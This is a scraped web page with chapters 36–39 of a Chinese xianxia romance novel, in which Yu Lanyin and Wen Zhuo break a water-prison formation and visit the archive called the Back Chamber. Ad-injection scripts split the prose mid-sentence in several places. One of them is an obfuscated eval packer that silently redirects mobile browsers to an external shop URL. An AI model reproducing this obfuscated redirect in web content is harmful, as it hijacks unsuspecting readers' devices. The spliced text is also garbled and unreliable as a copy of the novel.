达奚恩山同样敏锐,也在第一时间注意到了这异动。 在这光束即将刺向他的眼睛之时,他迅速抬手相挡,宽大袍袖也因为骤然一动哗啦作响。 “当啷”,一阵金属相碰的刺耳嗡鸣声响起。 嗡鸣声将息,达奚恩山忽然语气稀罕又疑惑地道了一声:“铁箭?” 玉阑音在见到那银色的箭矢之光的瞬间,便知道了来人是谁。 随后很快,不出他所料的,他的右侧似乎有人以极快的速度逼近了他。 玉阑音轻笑一下,朝着那方向提前伸出了手。几乎是同时,一双骨节分明的手猛地穿透白雾,捉住了玉阑音的手指。 这人的手极为消瘦,有些硌人,其上由于极为克制地用力露出了清晰可见的青筋,甚至微微颤抖。 是温卓。 玉阑音在见到温卓的一瞬间便没由来地心下一松。 他轻扬起眉眼,手指一勾,扣住温卓的手心,稳稳将他往自己身前一拉。 瞬间,温卓的玄色身影便终于到了眼前。 温卓无暇顾及这双手交握短暂的暧昧。他的眸中是止不住地担忧,甚至由于情绪激动微微泛着红。他无声开口道一句:“阑音。” 玉阑音垂眸,目光轻轻扫过温卓另一只手里紧握着的寒铁弓,随后才浅笑着抬头同他对视:“嗯,我在。” 达奚恩山视线并不受雾气阻挡,自然是将这两人的小动作收入眼底。 许久,他语气不明地开口道:“箭术不错。” 这话自然是对温卓说的,半阴不阳,算不上友善,但是也算不上恶意。 总之是一句听不太出用意的白话。 温卓和玉阑音两人朝声音之处看去。 只是隐在雾中的达奚恩山却一时没有再出声,他大约是在打量着什么,又或是在想着什么。只可惜隔着雾气,也无人能知晓。 “累了,不想陪你们玩下去了。”很久,达奚恩山终于开了口,但语气忽然之间淡了很多,似乎是忽然对此有些索然无味起来。 忽而是一阵猛烈的巨风随声而动,肆无忌惮地吹起,逐渐吹散着漫天的气雾。 而雾气还未散尽,两人眼前也并未完全清晰,只能看到面前达奚恩山朦胧的一个红色身影。 只见达奚恩山似乎是款款将双手背至了身后,银铃随风作响,无端有些恼人。 “玉阑音,你是如何发现我不是他的?”达奚恩山语气平直,已然再无先前愉悦的模样。 玉阑音平淡看他一眼,又无端哂笑一下。 他不语,仿佛达奚恩山问了一个再幼稚不过的问题,幼稚到不需要费心解答。 方才,他回握住的温卓那只颤抖着的手,他便知道,这是世间无人能模仿的一双手,一颗心。 达奚恩山脸色青白一阵变幻,最后几乎是扭曲地笑起来。 雾气即将散尽,达奚恩山脚下一阵灵气波动,身形也随之逐渐消散,最后只余下一抹绛红色残影和虚无的回音:“我们还会见面的,玉阑音。你躲不掉。” 温卓早在这人说了第一句“玉阑音”时便蹙起了眉头,听至此,终于是没忍住地侧头看了一眼玉阑音。 玉阑音此时兴致不算高,有些倦怠和心不在焉摇摇头,只朝温卓抬手做了个“稍后再说”的手势,未再一语。 迷雾阵彻底散去后,温卓和玉阑音便也随之恢复了耳聪目明。 如此一来,寻人和破阵便也要容易得多了,两人对视一眼,心下都松一口气。 等到眼睛和耳朵彻底适应了这变化,决定动身去找元宿央和秋风时,一抬脚,脚下突然传来一阵有些怪异的声响。 在一片寂静之中,这清脆的声音十分引人注意。 二人动作均是一顿,随后不约而同朝脚下看去。 玉阑音和温卓如今依旧站在漓水岸边的浅滩之上,地面潮湿,其上生着水草。 但在几簇水草的遮掩之中,隐约可见一瓷白色的物件,干净整 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 洁,其上隐约有灵力波动。 温卓对阵法虽有涉猎,但在玉阑音面前大概也只是“班门弄斧”了。于是他半是求证地朝玉阑音问道:“阵眼?” 玉阑音点点头,“嗯,是水牢阵的阵眼。” 语罢,玉阑音便拢着袖子弯下腰,便欲“移阵眼”。 可他刚刚触碰到这瓷白的阵眼石,身旁的温卓忽然闷哼一声,随后剧烈地喘息,猛地大力抓住了玉阑音的手。 这实打实叫玉阑音吃了一惊。 “怎么了?”他极为迅速地双手撑住了即将脱力滑落的玉阑音,随后语气略急促地尝试叫了几声,“温卓?温卓?” 温卓识海中厌族神识疯狂流窜,心脏猛烈地撞击着肋骨,仿佛就要从胸口破体而出。 他耳鸣阵阵,已经根本听不清玉阑音在说什么了。瞳孔也时而聚焦时而涣散,只呆滞地看着玉阑音的嘴张张合合。 玉阑音看着温卓脸上瞬间凝出的豆大的汗珠,焦躁之中夹杂着一丝心疼。 大概是思虑忧心,他的额角也随之突突跳起来,带来了一阵许久未犯了的头痛。 玉阑音揉揉眉心,但下一秒他眼眸一转,似乎是忽地想到了什么可能性,面色不由一变。 他脸色沉沉,抽出一只手朝那阵眼石探去。 这一探,玉阑音当即便黑了脸。 这瓷白物件哪是什么普通的阵眼石,这分明是那厌族法器占风玉盘的碎片! 元宿央曾经和他说过陇西占风玉盘之事,更何况十方宗内也有一只玉盘,玉阑音自然对此不陌生。 他忽然间又是一阵头痛难忍,连呼吸都随之颤抖了起来。 “太嵇!温卓!”远处突然传来了元宿央的喊叫声。 他身边跟着的秋风由于夜已深,已经困得东倒西歪,活像个没竹骨的风筝。 玉阑音一边扶着温卓,面色有些苍白地朝元宿央招了招手。 元宿央胳膊肘底下夹着秋风“噔噔噔”地便跑了过来。 跑到一半他便看到了状态有些不对的二人,他有些疑惑地问:“你们两个怎么了?” 玉阑音没怎么有精神地用下巴一点。 元宿央顺着他所指的方向看去,脸色骤变,随后一个撒手把碍事的秋风扔了出去,“占风玉盘?” 原本迷迷糊糊的秋风就这么被摔了个狗啃屎。 他茫然无措地从地上爬起身,眨巴着眼睛愣愣地回神。 元宿央见玉阑音脸色不好,立刻帮他撑住了温卓。 随后他变戏法似的,极为迅速地从怀里变出了个储灵袋,手脚麻溜地把这瓷片往里一扔,一收口,将这厌族之物封了个严严实实。 “得亏我整日带着这没用的东西,今日居然还真派上用场了。”元宿央极为丝滑的一套动作结束,终于舒了口气,“怎么样?好些了吗?” 玉阑音不语,只有些疲惫地以目示意了温卓。 元宿央当即了然,动作不算轻柔地拍拍温卓的脸:“温卓?好点了吗?” 温卓虽然极度不适,但是并没有完全失去意识,他无力地抬头挡了挡元宿央的手。 “哦,还活着,”元宿央收回了手,一撇嘴,随后又朝玉阑音问道,“方才发生什么事了?” 玉阑音似乎不愿多言,他揉揉自己仅皱的眉心,只道:“达奚恩山。” 这名字一出,元宿央立刻便将故事前后补了个七七八八。 他的脸色黑得像锅铁,右手一动,直接将自己的闻山剑出了鞘,“这个畜牲……他居然还有脸来?” 37.第 37 章 玉阑音身体不舒服,元宿央的话他听得不甚仔细,便只无言地摆了摆手,示意元宿央把剑收起来。 元宿央哼哼唧唧地收了剑。 温卓意识逐渐清明,晃了两晃才站直了身。 玉阑音的眼睛一直粘在温卓的身上,此时立刻一个上步扶住了他,“怎么样?好些了吗?” 温卓看了看玉阑音抓住他臂弯的手,道:“还是不太舒服,有点晕。” 玉阑音不疑有他,只继续扶着,“那便好好休息。” 温卓又看看他,点了点头。 玉阑音看着温卓病恹恹的样子,实在是心疼。 于是他从怀里掏出了一副针灸针,那针最长的甚至有成人手掌大小。看得温卓眉心一跳。 “来,”玉阑音面露担心,又慈眉善目道,“扎两针,止疼。” 温卓眉心再狠狠一跳。 “不用了,我不疼了。”他淡淡道,随后利索地甩开了玉阑音扶着他的手。 玉阑音:“?” 玉阑音:“哦。” 他收宝贝似的又把这一副针收了起来。 秋风在旁边眨巴了好半晌眼睛,这会儿终于清醒了:“我们这是已经出阵了吗?” 元宿央看傻子似的看他一眼:“你看看这周围,像是阵外?” 秋风顿顿地眨眨眼,这才开始着眼打量起四周。 地面依旧是先前的漓水岸边,看起来和平时并无不同。 只是…… “天怎么已经这么亮了?”秋风疑惑道。 元宿央又古怪地看他一眼,再往头顶上努了努下巴。 秋风抬头,四下转转脖子,觉得有点奇怪。今日这天空怎么不刺眼呢?怎么没有太阳? 他不解,遂再定睛一看,这才发现原来悬在他们头顶上的并不是天空,而是一道明亮的水障,仔细去看甚至还能看到湍涌的水流。他极目远眺,于地面之上极远处也见到一环绕四周的壁障。 秋风顿悟,“哦,还在阵里呢。” 其他三人看他犯完了蠢,无语地扭回了头。 “……达奚那浑人,我当时便说了,玉盘不见肯定是他搞的鬼,”元宿央一想到达奚恩山就气不打一处来,“你看,真不是我冤枉他吧!” “达奚……恩山?”温卓忽然问道。 “哦,还没和你说,”元宿央似乎愣一下,“达奚恩山就是我俩去陇西的时候,你还记得那大漠里的合欢殿?就是拍卖会的那儿,那合欢殿这法器就是这厮的。” 温卓略加沉思:“是两百年前背叛宗门的那位?” “哟,你记得还挺清楚,就是他。”元宿央有些惊讶地扫了一眼温卓,遂冷哼一声,“今回还舞到他姑爷爷我脸上了!若是叫我……” “他如何认得阑音的?”温卓打断了元宿央的长篇大论,道,“是曾经有什么过节?” “啊,你说太嵇啊?”元宿央骤然被打断,倒是也不恼,只是一怔忪,“你看太嵇像是会和人有过节的人吗?要我说这事就是达奚他狼心狗肺……” 玉阑音轻轻一咳,“不好意思,我本人还在这儿呢。” 元宿央正讲得眉飞色舞呢,一听玉阑音开了口,立刻老老实实站了个笔直。 “哦,”元宿央应了一声,随后又朝温卓道,“他不让咱俩讨论,你去问他自己吧。” 温卓的目光沉沉,便如此转向了玉阑音。 玉阑音的确不太喜欢提及旧事,但是也谈不上是避讳。 他不躲不避迎上温卓的目光,略微一笑,道:“故事太长了,过会儿吧,出了水牢阵再同你讲。” 秋风在一旁眼睛直勾勾地盯着玉阑音。 玉阑音有所察觉察觉,转头问道:“怎么了,秋风?” 秋风眨眨眼,却没搭话茬,只道:“这里离我们记者的地下宫殿‘后室’很近,等出了水牢阵,你们便随我去后室住下吧。” 虽然不明白为什么秋风忽然提到了这个,其他三人对这云州西南的确是人生地不熟,便道了声谢应下了。 “……也就是说我们要同时摧毁六面阵旗才能出去?”元宿央得知了破阵之法后极为震惊,“差一毫厘都不行?” 玉阑音随后的点头,立即熄灭了元宿央唯一的念想。 “这阵里法术被封了如何能做到?”元宿央皱起眉,“若是在平地上,同时震碎一百个、一千个那都不在话下!” 一行人对于元宿央时不时地大放厥词已然习惯,充耳不闻。 “我身上还有三只箭和一把匕首,”温卓沉思道,“匕首可以给秋风,阑音你和少掌门一人一旗,剩余的交给我,这样可否?” 玉阑音犯了头痛,从刚才便一直有些心不在焉。这时他乍然听到了温卓的话,猛然回神,“嗯?嗯,可以的。” 元宿央也拍了板,“我也有一把短刀,给太嵇用刚好,就这么办吧。” 温卓的目光在玉阑音身上停留了一瞬,随后在众人散开之时轻手轻脚凑近,这才低声问道:“不舒服?” “嗯,”玉阑音其实以前不是个喜欢示弱的人,但是这段时间也不知道是怎么了,在温卓面前天天喊累喊疼的,“头疼。” “算着时间现在天大概是已经亮了,你一夜没休息,”温卓的声音在一片静谧中显得极其温柔,但是又似有似无地带着叹息,“西南本身便高寒,你又收了暖炉,许是着了凉。” 玉阑音应一声。 “出了阵好好休息,”温卓有点心疼地摸了摸他凉透了的手,但是条件有限,他只能帮玉阑音重新系好披风,“走吧,我们先破旗。” 玉阑音看着温卓的侧脸,点点头,“好。” 与此同时,前方的元宿央和秋风二人也在咬着耳朵。 “……你怎么忽然要我们去后室?”元宿央低声问道,“先前不是说去那个什么,红桃客栈还是绿叶客栈的?你还说那里的炸紫苏好吃。” 秋风看他一眼,轻轻摇了摇头,问道:“元兄,你还记得我是为何出世的?” “当然记得啊,”元宿央答道,“来找玉阑音问千年之战的事情的呗,我当然记得了。” “对,”秋风点头,“不过元兄,虽然有关千年之战的记录有缺失,但千年之战之后,有关各大仙门、包括仙盟,后室对其的记载都是极为详细的。” 元宿央一愣,立刻明白了秋风的意思:“你的意思是,有关十方宗和达奚恩山,你们后室里都完整记录了?” “对,无一缺漏悉数记载。”秋风又是点点头,“所以……” 他的目光忽然往身后温卓的身上一瞟,“……既然有机会,我还是希望温兄可以自己去看看。” 良久,他又不好意思地补充道:“因为若是叫真人自己讲,我怕他三言两语地就带过去了。他好像总是这样。” 元宿央一时没说话。 秋风说完,偷偷回头看了一眼玉阑音,斟酌着字词道:“元兄,我就想知道,为什么我总是觉得……真人好像很可怜?不是说他的身体不好,就是……” 秋风琢磨了许久 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 都没能描述出自己的那种感觉,哽在喉头不上不下,叫他心里有些焦躁。 沉默了很久的元宿央听到这话,脸上忽然露出了一种极悲惋的动容,“我懂的。” 他一顿,随后又道:“秋风,我不知道你们后室究竟记载了些什么,但是如果有机会,你一定要去问问太嵇,有关他的故事。他值得史书一册。” 秋风点点头:“只要真人愿意,我会的。” 玉阑音和温卓很快追上了两人的脚步,于是元宿央和秋风便就此止了话。 温卓从怀里摸出了匕首,往秋风手中一递:“秋风,到时候西面的阵旗便麻烦你了。” 秋风下意识顺手接过了这沉甸甸的家伙事,随后才一愣。 温卓似乎是看出了秋风的欲言又止,道:“你用最大力气砍向旗杆便好,其余的不必管。” 这指令十分简单易懂,秋风即刻了然:“哦,明白了。” 温卓转头,又同玉阑音和元宿央略加商讨,随后几人便各自走到了各自的位置。 众人都是走到了各自的阵旗之下,只有温卓站到了六角阵的正中心。 温卓从背上解下寒铁弓,稳稳上了三只箭。 入阵前的慌乱之中,为了以防万一,温卓便从识海中取出了寒铁弓和四只铁箭,没想到居然真派上了用场。 他沉肩站立,稳稳地将三只箭同时上满了弓,他握着弓弦的手指由于用力发了白,但是却丝毫不抖。 他略微调整好三只箭的箭向,闭眼做了一个深呼吸,再睁眼之时,目光如炬。 他沉声倒数:“三——” 玉阑音晴朗的天气之下视力极好,他眯眯眼,能将温卓看个大概。 温卓宽阔的背影叫他一阵安心,又莫名地让他感到愉悦万分。他一时觉得身上都没有那么疼了。 “二——” 元宿央活动了活动肩膀,遂右腿后撤,下蹲,起了玄天门第一剑式。 秋风没用过刀剑,此时紧张地握紧了手中的匕首。 “一!” 最后一声话音落下,中央处温卓三只箭齐齐而发。 西北方的玉阑音拿短刀的手轻巧一拉。 西向的元宿央双臂一挥留下一道银色剑影。 西南处秋风闭着眼,双手一个用力。 霎时间,四下忽然传来一阵“噼里啪啦”旌旗倒地之声响起。 远远近近,整整齐齐。 温卓撤力,重新将弓背回背上。 玉阑音着手拍了拍袖袍之上沾到的灰土。 元宿央挽了一个剑花,将剑入鞘。 秋风揉着自己震得发麻的虎口。 水牢阵的水幕原本是寂静无声地流动着。 但随着阵旗倒地,天幕之上与四周的壁障的水流声忽然“哗啦啦”地响亮了起来,隐隐有崩溃之势。 温卓首先感觉到了灵力重新充满了身体,他往天空处一看,神色一凛。 遭了,这水牢要塌了! 他当即手下一动,运起灵气作了一个巨大的透明壁罩,稳稳地将四散在各处的四人罩在了其中。 水幕倒塌,水流放肆塌落,仿佛是从天而降的巨大海浪,“哗啦”一声打在了屏障之上,水点窸窣碰溅。 水牢阵破,四人终于得以再次重见天日,水牢阵之外的世界终于重现在了众人的眼前。 如温卓所说,天已经亮了,日出大概也有了一段时间。 水牢瓢泼将息。 日光下,漓水之上,一道彩虹。 38.后室 在透明壁障中的其他三人,抬头看着水面上的彩虹愣愣地出了神。 许久,秋风率先开了口,他松了一口气,累得往地上一摊,“啊,可算是出来了。” 玉阑音笑着向温卓款款走来,“反应得好快,谢谢你没有让我们变成三只落汤鸡。” 温卓只摇摇头,撤去了这透明屏障。 四人再度汇合,很快便依之前所说,跟着秋风往地下宫殿去。 然而此时,元宿央正站在一个深不见底的悬崖边,久久沉默着。 良久,他开口:“秋风,你说的地下宫殿,真的是在这下面?” 秋风真诚地点点头:“是呀。” 玉阑音抱着暖炉往悬崖下一探头。 这个悬崖裂口越有百尺宽,悬崖峭壁之上长着歪曲的山松,再往下看便是一片黑咕隆咚。 温卓在身后把玉阑音往后一拉,“别靠太近,小心。” 玉阑音失笑,但依旧从善如流地往后撤了几步,“拿你师傅当三岁小儿呢?” 温卓没说话,只抬手帮他下了刚才大风之时飘到头上的树叶。 玉阑音:“……” 元宿央听了秋风的话,一个深呼吸,“你不是说有仙鹤会来接我们吗?仙鹤呢?” 秋风心虚地眼神飘忽,“……可能仙鹤大人现在在忙,元兄你就再耐心地等一等吧。” 元宿央气笑了,忍着怒火闭了闭眼。 大约又过了一刻钟左右。 忽然悬崖之中涌上了一股白雾,其中夹杂着一阵浓烈的草本与香料混合的刺鼻味道,众人猝不及防被呛得连连咳嗽起来。 秋风对此没有什么异样,但他一转头,见身边的各位均是面露难色,像是忽然意识到到了什么,轻轻“啊”一声。 秋风愧疚道:“悬崖之下有一片瘴气带,这种香料可以抵御瘴气侵体。方才忘记告诉了,十分抱歉。” 元宿央离悬崖最近,吸入得最多,如今咳得眼泪都要出来了。 百咳之中,他抽空回了秋风一句“滚”。 秋风忙送不迭地滚走了。 玉阑音是一介药郎,平日便是整日与各种草药为伍,如今这味道虽然有些刺激,但还是他能承受的范围。 他只轻轻耸了耸鼻子,随后又伸手按了按有点发酸的鼻梁。 稍一侧头,他便见到了神色莫测的温卓,立刻被逗得一笑。 温卓此时被这药草香熏得红了眼睛,可他又冷着一张脸,手一动不动,连眼睛都不眨一下。 但是怎么看都像是在逞强。 听到玉阑音笑,温卓十分冷酷地侧目睨了他一眼,冷哼一声,转过头去的时候偷偷懊恼地皱了眉。 玉阑音直接笑出了声。 他以前怎么没发现这孩子这么可爱的? 这时,悬崖的白雾之中,忽然隐约能见到一只鹤的虚影。 此鹤身形巨大,臂展千尺,不像白鹤,倒是更像传说中的大鹏。 随着仙鹤慢慢靠近,它的身形也逐渐清朗起来。 红冠黑颈,腹背洁白无一丝杂毛,翅膀后羽鸦黑,一对鹤足靠拢在腹部。 仙鹤靠近了众人之后便停下了它缓缓的振翅,宛如一黑白之舟悬泊在悬崖之上,脚边的苍松此时正翠绿。 青松皓鹤,绵绵度岁。 只叫人心下一阵清风拂过,不由地平静下来。 秋风见到了仙鹤,忽然正色一鞠躬,右手轻贴额头,行了一个十分古怪的礼,“仙鹤大人。” 此仙鹤颇有灵,似乎是看了秋风一眼,先一颔首,随后再微微垂下头。 秋风喜笑颜开:“仙鹤大人叫你们上去。” 玉阑音和温卓道一声谢,行了个中原礼,脚下一点便上了仙鹤的背。 元宿央虽然看起来嬉笑玩闹没个正形,但也不是个不合时宜之人。 他正色抱拳,随后也随着玉阑音和温卓上了这摆渡舟。 最后跳上来的是秋风,“仙鹤大人,劳烦。” 话音将落,仙鹤便扇动了一下翅膀。 周围的雾猛烈激荡,一行人在仙鹤的背上缓缓下沉,随着仙鹤逐渐想悬崖里深入,那层白雾也逐渐消散了。 几人眼前忽然一片清明。 不过这并没有维持很长时间,很快,他们便接近了一片更浓的浅灰色的雾层。 “这就是瘴气带,各位稍作屏息,片刻就可穿过。”秋风提醒道。 三人点点头,找准时间便运起灵气屏住了呼吸。 仙鹤进入瘴气带后,速度陡然加快,鹤身一转,鹤首一垂,从天而降向下俯冲而去。 几乎是瞬息片刻,温卓甚至还没来得及伸手去拉一拉玉阑音,一行人便已经穿过了瘴气带。 瘴气带之下豁然开朗。 入目可见一极为宏伟的石器建筑,巨石是灰黑色,四四方方庄严肃穆,只在正侧之顶上,有一巨大的金色日晷,寓意着时间和岁月。 “这便是后室。”秋风率先爬下了仙鹤,“后室一般是不允许外人进出的,但是你们是我的客人,跟紧我,随我来。” 温卓先跳下仙鹤的背,随后伸手将玉阑音扶了下来,最后才是元宿央。 玉阑音看着面露土色的元宿央,奇怪道:“宿央,你怎么了?” 元宿央当然打死都不会承认自己是晕鸟。 玉阑音十分关切地又掏出了那一包针灸针,“我看我还是帮你扎两针……” 元宿央看得胃里更是翻江倒海,他脸上黄黄白白一阵,随后两个推搡遣退了热心药郎玉阑音。 秋风此时叩响了后室石门。 门很快便从内向外开了。 推动石门的声音十分沉闷,偶尔还能听到石头摩擦过地面的刺耳声音。 门内站着一个穿着打扮同秋风极为相似的人。 他先是笑着同秋风打了招呼,随后又有些警惕地看向了玉阑音等人,“艾昂里,这些人是?” “他们是我的客人,伯让,而且这一位——”秋风一笑,以目示意玉阑音,“这一位是千年之战的承载者,太嵇真人,玉阑音。” 玉阑音一袭洁白广袖中原长衫,在谷底的风中随风飘荡,看起来飘然如仙。 他闻言,笑着朝这位叫伯让的记者拱了拱手,“玉某叨扰。” 伯让一听到秋风的话便变换了神色,一副恍然大悟之样,他微微福身,恭敬道:“原来是上仙莅临,恕伯让方才无礼,各位里面请。” 可是,“上仙”一词脱口的瞬间,所有人脸色齐齐一变。 一群人里,只有伯让一个人还游离在事态之外。 他左看右看,见大家的脸色有点臭,无辜地摸摸脑壳:“怎么了?” 元宿央看见伯让这和秋风如出一辙的欠揍模样,直接被气笑了。 “元兄,元兄息怒! (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 伯让他不知道真人对此有意隐瞒!他不是有意的!”秋风连忙出来打圆场。 元宿央低下头捂着额头,低声嗫嚅道:“你这话自己去和太嵇说罢,我帮不了你了。” 秋风闻言立刻成了霜打的茄子,怂唧唧地往玉阑音那里一抬眼。 只见玉阑音还站在原地。 他簪着的头发也不知是路上什么时候散了,如今墨发随风飞舞,背着光神色难辨。 上仙。 这可不是在仙界能随便称道的称呼。 传闻云州上界有一真神,不老不死不净不灭,法力无边。 他庇佑云州生灵,庇佑草场牧场,庇佑山川江河,庇佑风调雨顺,庇佑整个人间。 称为,云州上仙。 可是这只是传闻,听起来也不过是个极为虚幻的老故事,大概也没有人会蠢到相信云州上仙真的存在。 可是…… 温卓朝玉阑音看去。 玉阑音脸埋在阴影中,但他大概是察觉到了温卓的目光,终于慢慢抬起了头。 他的表情不见喜怒,无情也多情,直到很久之后,他才忽然笑了一下,似乎是无力,又似乎是不知所措,“一一啊……原谅我这回吧。” 在玉阑音听到这久违了的“上仙”称呼,他第一个反应是侧目看了温卓一眼。 不过好在温卓表情看起来并没有异样。 温卓垂眸玉阑音好一会儿,眼神中一片漆黑看不出究竟是何情绪。 很快他转开了目光,朝秋风和伯让道一句:“我们先进去吧。” 或许是这一刻的温卓身上上位者的威压太明显,秋风得令,也顾不上玉阑音了,连着“好好好”几声,然后小跑着将二人领进了后室。 玉阑音微微一叹气,心下纠结一阵才跟在了温卓身后,一向好整以暇的步子此刻却显得有些拖沓。 进了门后转过一个弯,后室的全貌便跃然出现在了眼前。 这里看起来像是个极为巨大的藏经阁,书架奇高无比,其上书卷众多,石壁之上还有各式各样壁画,其上一些神神鬼鬼和不知名的符号。 玉阑音此时无暇分神去看这后室是多么宏伟。他此时正不远不近跟在温卓的背后,一边思索着如何从容地同他开口。 忽然他听到温卓道:“……有关云州上仙的史书是在哪处?” 玉阑音一蹙眉,回了神。 秋风很快道:“史书中关于千年之战前后的记载有缺失,其余的都在里面了,温兄跟我来。” 玉阑音心道不好。 他心弦一动,忽地伸手拽住了温卓的袖摆,唤了他一声:“一一。” 温卓似乎是顿了一顿,随后才转过了头。 他没有甩开玉阑音的手,随便他拉着。他看起来心情不算好,但是又不像是生气。 这叫玉阑音一时摸不清他究竟是在想什么。 “一一,我……”玉阑音正要开口。 “不必再说了,”温卓忽然硬邦邦地打断了他,“我自己去看便是。你不会说实话的。” 语罢,温卓拿下了玉阑音的手,大步流星随着秋风往后室更深处走去。 元宿央:“……” 不是,这话怎么听着这么耳熟呢? 最终,他认输了一般叹口气,转身回到了玉阑音身边拍拍他的肩膀,语重心长道:“人在河边走,哪有不湿鞋。太嵇,自求多福吧。” 39.木樨 秋风和温卓这时已经七拐八拐走得不见了踪影。 玉阑音收回追随着他们的目光,认命似的闭了闭眼,“走吧。” 在后室的最里的那座雕花木架之的卷宗极多,几乎是要溢出来了,不少书卷已经垂下了一半,如今正挂在木架之上摇摇欲坠。 而且与其他书架上的卷页相比,这里的每一本似乎都有了年岁,黄黄白白,缺页散页,还有不少书卷坚硬的封页都已经残破不堪。 “就在这里,”秋风停下了脚步,“温兄您稍等,我和伯让寻找可能要花费一些时间。” 温卓点点头。 玉阑音和元宿央二人姗姗来迟,温卓听到了他们来时的脚步,但是未发一言,甚至都没有看他们一眼。 温卓只是专注地看着秋风和伯让在书架上爬上爬下。 很快,伯让给温卓递来了一丛零零散散的卷页,“这些是有关十方宗的记载。” 温卓道了一声谢,他随后解开书卷之上缠着的细绳。 这些历史的书卷是记者用自己一族特殊的文字记载而成的,温卓其实并不认识。 但是就在他翻开第一页时,他的眉心与眼眶忽然一热。 紧接着这些不知名的文字忽然开始扭曲变形,慢慢放大着贴近他的眼睛,再之后又逐渐染上了颜色、有了人形、成了如同现实一般的画面。 画面将温卓带回到了千年前的十方宗。 那一年,千年之战刚过,云州仙门百家损伤惨重。 这时候的十方宗大约也是正在重建宗门,看起来十分矜持,颇为典雅周正。 山峰丛之上的屋榭重修得极为潦草、极为质朴,到处都是没什么光彩的普通木材建筑,丝毫不见任何的歌台长亭与流光溢彩。 当时十方宗的掌门不是秦鹤生,是一个叫作观一的白发长者。 那时候的秦鹤生正随当时十方宗一长老修行,但由于秦鹤生痴迷术道,努力勤勉,又悟性极佳,很快便被观一收为关门弟子。 不过就在那年秋天,观一忽然带回来了一个身着月牙白色长袍年轻人。 他高高地束着发,穿着的衣袍是几百年前的旧款式,袖边裙边重工刺绣,里衣外衣加起来有四层,穿着极为繁琐,在很久之前的大家族中盛行。 如今云州大兴文人雅士之风,这种衣袍便渐渐鲜有人穿了。 这个年轻人面容极为姣好,但似乎是刚生过一场大病,面色极为苍白,远远地看活像观一身边站了个纸扎人。 他系着长袍所有的扣子和穗带,对襟立领板正地贴着他消瘦的下颚,看起来颇为一板一眼。尽管衣袍厚重,年轻人看起来却依旧十分单薄,风一来甚至能看到他的身形在长袍里晃荡。 观一说,这人叫玉阑音,法号太嵇真人,是他们的无上长老。 玉阑音极为规矩地拱拱手,道一句不敢当。 此言一出,全场寂静。 所有人都不知道这个小白脸公子哥是什么来头,年纪这么小看起来又是个病秧子……天知道是来十方宗做什么的! 当然,所有人里最先黑了脸的是十方宗当时的那一众长老们。 “掌门,这……” “掌门,这位小公子看起来年岁如此小,怎么能做无上长老?莫不是这位公子打点了关系所以……” “掌门,我等认为此事不妥,还望掌门三思。” 玉阑音在一众议论声中轻轻掩袖咳了两声,脸色愈发苍白。 “好了,”观一不知何时已经敛了笑,随后在嘈杂的人声中开了口,“诸位所意我已知晓,只是真人尊为云州上仙,千年之战中功劳显赫,是如何当不起我十方宗无上长老的?” 此言一出,全场的嘈杂忽然潮水般褪去,只剩下一片更加彻底的寂静。 此时,风暴中心的玉阑音拱了拱手,极为虚弱又云淡风轻开了口,但在安静中莫名显得响亮:“观一掌门谬赞,玉某惭愧。” 他的神色谦逊无比,又带着有病之人的弱柳扶风之气,实在是很难叫人联想到那位千年之战时的战神上仙。 于是这种割裂的矛盾也叫很多人心觉不爽,甚至是自以为是地认为这其中一定有猫腻。 忽然,台下一位生了华发的长老朗声道:“既然上仙实力了得,可否与在下切磋讨教一二?想必上仙定是不会拒绝,是否?” 观一听到如此忤逆的话当即变了脸,“敬琼,慎言!” 他似乎还想要说些什么,但玉阑音却是轻轻拦了一下,“观一掌门。” 观一堪堪忍住了将发未发之言,转而笑道:“上仙是故何事?” 玉阑音轻垂着眼,“只是宗门切磋,玉某自可相迎,掌门不必太过顾虑。” 观一似乎并不赞同,正欲阻拦。就在这时玉阑音忽地抬头看了观一一眼,这叫观一即刻住了嘴,良久,只道:“那便依上仙所言。” 玉阑音略感激一笑,朝观一拱了拱手。 待玉阑音和敬琼二人站落比试台之上后,观一仍旧有些担忧地看着玉阑音。 他其实同这个年轻的云州上仙并不熟识。 他只知道这人的仙术是自行修炼的野路子,在今日之前并未挂名至任何门派下修行过,但仙术却是诡异的强悍无比。 千年之战中,展露的是不输各门派掌门之实力,艳惊四座。 况且他…… 想至此,观一又是更为关怀甚至是心疼地往玉阑音身上看了一眼。 敬琼是一席斗宗长老,略微颔首打了招呼也没有再多加客套。 他的双手合十,迅速结一金印,手指翻飞的气流之上闪烁着金光。 他的口中念念有词,不知是在念何符文。 玉阑音站在高台之上身形有些晃荡,他脸上毫无血色,背过身咳了两声。 敬琼结印的手终于停下,随后便是眸光一凛,沉声道一句:“去!” 簌忽之间天地变色,风中卷起阵阵龙鸣虎啸之声。 台下一片惊呼。 “这是不是敬琼长老自创的龙虎符术?” “龙虎符术可是千年之战中长老的拿手杀阵啊!” “这会不会太……” “是啊,而且你看上仙,估摸着是身上还有旧伤未愈吧?” “这简直是……唉!” 不过众人的惊呼也没有持续很久。 狂风卷集,玉阑音束得一丝不苟的发四散飞舞。 不过尽管面对着对面如此的威压,玉阑音脚下却未踉跄丝毫。 他仅仅是被寒风呛得咳得更凶了。 随后在一阵风中,他便咳边轻抬右手,作了个收势的动作。 一瞬间,方才来势汹汹的龙吟虎啸忽然就没了声息。 一时之间,在场所有人只能听到自己的心跳声,和台上玉阑音轻轻的咳嗽声。 玉阑音掩袖平复了片刻,随后右手一个打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13931541|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个极为清脆的响指。 下一刻,对面敬琼忽然毫无征兆地“咚”一声跪倒在地。 